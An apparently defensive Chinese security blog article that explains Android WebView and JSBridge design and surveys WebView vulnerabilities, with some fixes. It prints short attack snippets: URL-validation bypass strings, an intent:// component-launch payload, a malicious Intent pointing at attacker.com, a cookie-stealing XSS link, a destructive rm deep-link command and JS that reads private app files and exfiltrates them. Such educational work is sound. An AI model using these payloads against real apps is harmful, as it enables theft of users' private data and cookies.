WebView安全实现(一)_webview实现
本文作者:杉木@涂鸦智能安全实验室
Webview核心机制
Webview:承载 Web 内容的容器
WebView 是移动端(Android/iOS)提供的系统组件,用于在 App 内嵌入并渲染网页(HTML/CSS/JavaScript)
其核心功能包括:
- 资源加载:通过
loadUrl()
加载远程或本地资源(如 HTML/JS)。 - JS 交互:通过
@JavascriptInterface
注解暴露原生 API。 - 隔离性:JavaScript 运行在独立的 JS Context 中,无法直接访问原生系统功能(如相机、文件系统)
- 身份验证:依赖 域名(Origin)、子应用 ID(AppID) 和 能力令牌(Capability) 控制权限(如图)。
JSBridge:连接 Web 与 Native 的通信桥梁
JSBridge 是一种基于协议或注入 API 的通信机制,通过 WebView 的接口实现 JavaScript 与原生代码的双向调用;
JSBridge 如何依赖 WebView 实现通信?
- WebView 提供通信基础
- API 注入(主流方式):WebView 通过接口将原生对象注入到 JS Context 中(如 Android 的
addJavascriptInterface
,iOS 的WKScriptMessageHandler
),使 JavaScript 可直接调用原生方法。 - URL Scheme 拦截:WebView 拦截 JavaScript 发起的自定义协议请求(如
jsbridge://method?params
),解析后执行原生逻辑。
- JSBridge 封装通信逻辑
- 标准化协议:定义数据格式(如 JSON-RPC)和回调机制,简化调用流程。
- 跨平台兼容:封装 Android/iOS 的 WebView 差异,提供统一接口(如开源库
WebViewJavascriptBridge
)
系统和超级应用和子应用
了解完基础的概念,这里介绍一下系统框架,如图所示;
先描述一下图的内容,系统也就是整个图;超级应用是整个APP;子应用是包含但不仅限于WebView内容;
从下往上介绍了,嵌⼊的浏览器实例(也就是WebView)为⼦应⽤提供了⼀个隔离的环境;此类实例通常包含⼀个⾃定义的 worker 来加载和执⾏预定义的⼦应⽤代码。然后可以执行对应的API 以访问对各种资源,如⽤户数据、⽹络资料等,一般来说子应用之间的数据也是隔离的,但是这些资源也可以是当前APP的,当然无法是其他APP的,因为系统就限制了APP私有目录之间的访问。
然后web-to- mobile bridge其实也就是JSBridge,将⼦应⽤代码与原⽣ Java 代码连接起来,也就是前面介绍的内容了;所有 API 调⽤都封装成⼀个通过“addJavaScriptInterface”注册的调度⽅法发送到APP侧的消息。APP解析接收到的消息,找到相应的 API,检查权限,如果检查通过,则调⽤。
然后是上面部分内容,APP根据深链中的子应⽤ ID 找到⼦应⽤或者其他的方式,如路由、扫码等,但本质还是类似深链;从APP自己的应用市场下载⼀个js包。然后这里的子应用是根据实际的业务场景来取决,官方的会访问APP服务器,三方的会访问三方服务器、广告商等内容,而且也可以请求APP提供的API;
💡 有两个地方需要权限验证
- 当从⼦应⽤或第三⽅服务器获取⽹⻚内容并在 WebView 实例中渲染时,APP会检查获取的内容的身份(loadURL时要检验域名);
- 当 WebView 实例访问APP提供的 API 时,APP要根据子应用权限来验证是否具有调用相关API的权限;
WeView使用
这里以android为例,参考官方文档
WebView | API 参考 | Android 开发者
在 WebView 中构建 Web 应用 | Android Developers
先在xml中设置布局配置
<WebView android:id=\"@+id/webview\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\"/>
在代码初始化和加载网页
WebView webView = findViewById(R.id.webview);// 启用基础功能(如JS支持)WebSettings settings = webView.getSettings();settings.setJavaScriptEnabled(true); // 加载远程URLwebView.loadUrl(\"https://example.com\"); // 或加载本地HTML(assets目录)webView.loadUrl(\"file:///android_asset/local.html\"); [2,7](@ref)
网络权限声明
<uses-permission android:name=\"android.permission.INTERNET\" />
WebView事件监听处理
webView.setWebViewClient(new WebViewClient() { @Override public void onPageStarted(WebView view, String url, Bitmap favicon) { // 显示进度条 } @Override public void onPageFinished(WebView view, String url) { // 隐藏进度条 } @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { // 拦截链接点击(返回false由WebView处理) return false; }});
WebView和JS的交互
loadUrl()
evaluateJavascript()
addJavascriptInterface()
@JavascriptInterface
shouldOverrideUrlLoading()
jsbridge://
)onJsPrompt()
<
, >
)这里列举的关键安全风险是根据应用的开发人员角度来解析,或者说是google开发平台提供的针对开发人员安全开发的要求规范;
拿loadUrl()函数来举例,上面关键安全风险是没有,google开发者平台上WebView:不安全的 URI 加载 | Security | Android Developers提到“处理字符串 URI 时,请务必将字符串解析为 URI 并验证 scheme 和主机”,简单说技术风险可规避,如安全使用白名单,代码侧通过安全解析传递的URI后再进行请求;但若是业务上需要把URI的配置交给用户(如一些toB的业务上),那这种情况要如何处理?后续会通过流程的角度来解析这类风险。
WebView常见风险
这里引用google官方对于WebView的相关风险以及跟WebView实现的场景可能相关的风险;
WebView - 不安全的文件包含 | Security | Android Developers
WebView – Native bridges | Security | Android Developers
WebView:不安全的 URI 加载 | App quality | Android Developers
Cross-app scripting | Security | Android Developers
压缩路径遍历 | App quality | Android Developers
直接贴大佬整理好的WebView漏洞,而且大佬对于漏洞的复现测试非常详细,详细查看[原创]Android APP漏洞之战(13)——WebView漏洞详解-Android安全-看雪-安全社区|安全招聘|kanxue.com
我这里就简单总结一下;
一、私有文件窃取漏洞
1. 跨域文件读取(应用克隆攻击)
- 触发条件:
setAllowFileAccess(true)
+setAllowFileAccessFromFileURLs(true)
或setAllowUniversalAccessFromFileURLs(true)
- 利用方式:恶意JS通过AJAX读取私有文件(如
file:///data/data/app_package/shared_prefs/config.xml
)
这部分具体也可以看我多年之前的漏洞分析;Android平台WebView控件存在跨域访问高危漏洞_webview组件跨域访问风险-CSDN博客
2. 移花接木(软链接劫持)
- 触发条件:仅开启
setAllowFileAccess(true)
(默认开启) - 利用方式:
- 诱导WebView访问攻击者可控的网页(如
http://evil.com/mal.html
); - 在网页加载延迟期间,将文件替换为指向私有文件的软链接;
- WebView读取被替换的软链接,泄露私有文件内容。
- 诱导WebView访问攻击者可控的网页(如
这个漏洞复现参考Android安全检测-WebView File域同源策略绕过漏洞_webview file同源策略绕过漏洞-CSDN博客,在Android 7.0以上已修复;
3. 含沙射影(Cookies污染)
- 触发条件:
setAllowFileAccess(true)
+ WebView可加载任意URL - 利用方式:
- 通过恶意JS在Cookies中写入Payload;
- 构造软链接指向目标Cookies文件;
- 诱导WebView加载被污染的Cookies文件执行Payload。
这部分的具体漏洞利用可以参考Android-Webview中的漏洞利用总结 | CTF导航;
官方提到的修复方案修复跨应用脚本漏洞 - Google帮助
二、URL校验绕过漏洞
1. 校验逻辑缺陷
- 大小写绕过:校验
scheme
时忽略大小写(如FiLe://
替代file://
)。 - 域名闭合缺失:
endWith(\"trust.com\")
可被eviltrust.com
绕过。 - 特殊字符注入:
- 利用
\\
替换/
(如http:/\\evil.com
),低版本WebView可解析; - 使用
@
符号绕过(如http://trust.com@evil.com
)。
- 利用
2. 协议混淆攻击
- JavaScript协议绕过:未校验
scheme
时,通过javascript:alert(1)
执行任意代码。 - Intent Scheme注入:未过滤
intent://
协议,导致任意组件启动(如intent://#Intent;component=com.victim/.SecretActivity;end
)。
3. 服务端跳转滥用
- 白名单域名跳转:若白名单内服务端存在开放重定向漏洞,攻击者可构造
http://trust.com/redirect?url=http://evil.com
绕过校验。
4. 竞争条件漏洞
- 利用跳转时间差:
- JS控制WebView跳转至白名单域名;
- 在页面未完全销毁前,快速调用特权接口(如
getToken()
); - 校验逻辑误判当前URL为可信域名,窃取敏感信息。
5. 白名单内域名过期
查看白名单内域名过期使用情况,如遇到白名单内域名过期,如解析已经失效或者提示需要购买等情况,攻击者可以购买对应域名后进行攻击行为;
这种属逻辑类型的问题很多都是根据实际的情况来分析,各种场景的情况都有,这里可以参考进行分析 3.URL配置漏洞;
Android WebView URL检查绕过 | m4bln
三、Intent + WebView 漏洞
1. 导出组件恶意界面加载
- 漏洞原理当WebView所在的Activity组件被导出(
android:exported=true
)时,攻击者通过Intent传递恶意URL,诱导WebView加载钓鱼页面或窃取敏感数据。 - 攻击步骤:
// 恶意应用构造攻击IntentIntent exploit = new Intent();exploit.setClassName(\"com.victim.app\", \"com.victim.app.WebActivity\");exploit.setData(Uri.parse(\"http://attacker.com/malicious.html\"));startActivity(exploit);
- 实际危害窃取WebView存储的密码(明文保存在
webview.db
)、Cookie、本地文件等。
2. Intent重定向导致LaunchAnyWhere
-
漏洞原理可导出的Activity组件未校验Intent参数,导致攻击者构造重定向链访问私有组件:
// 正常导出组件public class WebViewActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { // 未校验Intent extras Intent privateIntent = getIntent().getParcelableExtra(\"redirect\"); startActivity(privateIntent); // 启动私有组件 }}
-
利用链:
#mermaid-svg-7Y2le3G3u4A4JEDI {font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-7Y2le3G3u4A4JEDI .error-icon{fill:#552222;}#mermaid-svg-7Y2le3G3u4A4JEDI .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-7Y2le3G3u4A4JEDI .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-7Y2le3G3u4A4JEDI .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-7Y2le3G3u4A4JEDI .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-7Y2le3G3u4A4JEDI .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-7Y2le3G3u4A4JEDI .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-7Y2le3G3u4A4JEDI .marker{fill:#333333;stroke:#333333;}#mermaid-svg-7Y2le3G3u4A4JEDI .marker.cross{stroke:#333333;}#mermaid-svg-7Y2le3G3u4A4JEDI svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-7Y2le3G3u4A4JEDI .label{font-family:\"trebuchet ms\",verdana,arial,sans-serif;color:#333;}#mermaid-svg-7Y2le3G3u4A4JEDI .cluster-label text{fill:#333;}#mermaid-svg-7Y2le3G3u4A4JEDI .cluster-label span{color:#333;}#mermaid-svg-7Y2le3G3u4A4JEDI .label text,#mermaid-svg-7Y2le3G3u4A4JEDI span{fill:#333;color:#333;}#mermaid-svg-7Y2le3G3u4A4JEDI .node rect,#mermaid-svg-7Y2le3G3u4A4JEDI .node circle,#mermaid-svg-7Y2le3G3u4A4JEDI .node ellipse,#mermaid-svg-7Y2le3G3u4A4JEDI .node polygon,#mermaid-svg-7Y2le3G3u4A4JEDI .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-7Y2le3G3u4A4JEDI .node .label{text-align:center;}#mermaid-svg-7Y2le3G3u4A4JEDI .node.clickable{cursor:pointer;}#mermaid-svg-7Y2le3G3u4A4JEDI .arrowheadPath{fill:#333333;}#mermaid-svg-7Y2le3G3u4A4JEDI .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-7Y2le3G3u4A4JEDI .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-7Y2le3G3u4A4JEDI .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-7Y2le3G3u4A4JEDI .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-7Y2le3G3u4A4JEDI .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-7Y2le3G3u4A4JEDI .cluster text{fill:#333;}#mermaid-svg-7Y2le3G3u4A4JEDI .cluster span{color:#333;}#mermaid-svg-7Y2le3G3u4A4JEDI div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-7Y2le3G3u4A4JEDI :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;} 携带恶意Intent 攻击者Intent 导出Activity 私有Activity 加载恶意WebView
-
防护方案:
- 禁止导出非必要组件
- 校验
Intent.getAction()
和Intent.getData()
很多应用为了APP于APP之间的联动都有可被外部调用的Activity,而有些Activity可以传递Intent参数作为业务参数进行相关业务处理,当这些参数没有处理好的时候很容易出现相关问题,这里列出来的只是Intent + WebView 可能导致的问题;
四、DeepLink + WebView 漏洞
1. 任意代码执行
-
触发条件DeepLink未校验调用方包名,攻击者伪造合法应用包名:
<manifest package=\"com.target.app\"> <activity android:name=\".EvilActivity\"> <intent-filter> <data android:scheme=\"victim\" /> </intent-filter> </activity></manifest>
-
执行路径:
victim://deeplink?cmd=rm+/data
→ 触发WebView执行系统命令
2. XSS注入漏洞
-
攻击模式:
<a href=\"victim://load?html=alert(document.cookie)\"> 点击领取优惠券</
-
利用场景:通过
WebView.loadDataWithBaseURL()
加载未消毒的HTML
3. 组合漏洞利用
-
典型攻击链:
- DeepLink协议未校验 → 注入恶意JS
- JS调用隐藏API → 读取私有文件
- 符号链接绕过 → 窃取
/data/data/[app]/databases
-
实际案例:
// 恶意JS代码function stealData() { fetch(\'file:///data/data/com.victim/db\') .then(data => exfiltrate(data)) }
4. loadDataWithBaseURL漏洞
-
高危场景:
// 攻击者控制baseURL和data参数webView.loadDataWithBaseURL( \"https://trusted.com\", \"malicious()\", \"text/html\", \"UTF-8\", null);
- 结果:在
trusted.com
域下执行任意JS
- 结果:在
deeplink+webview的攻击场景参考Android中的特殊攻击面(二)——危险的deeplink
限于篇幅,把安全方案设计放到下一篇讲。
参考
https://www.kanxue.com/chm.htm?id=18037
https://www.kanxue.com/chm.htm?id=19271
Android WebView URL检查绕过 | m4bln
Android-Webview中的漏洞利用总结 | CTF导航
Android安全检测-WebView File域同源策略绕过漏洞_webview file同源策略绕过漏洞-CSDN博客
sec22-zhang-lei.pdf
bbs.kanxue.com/article-14155.htm
漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。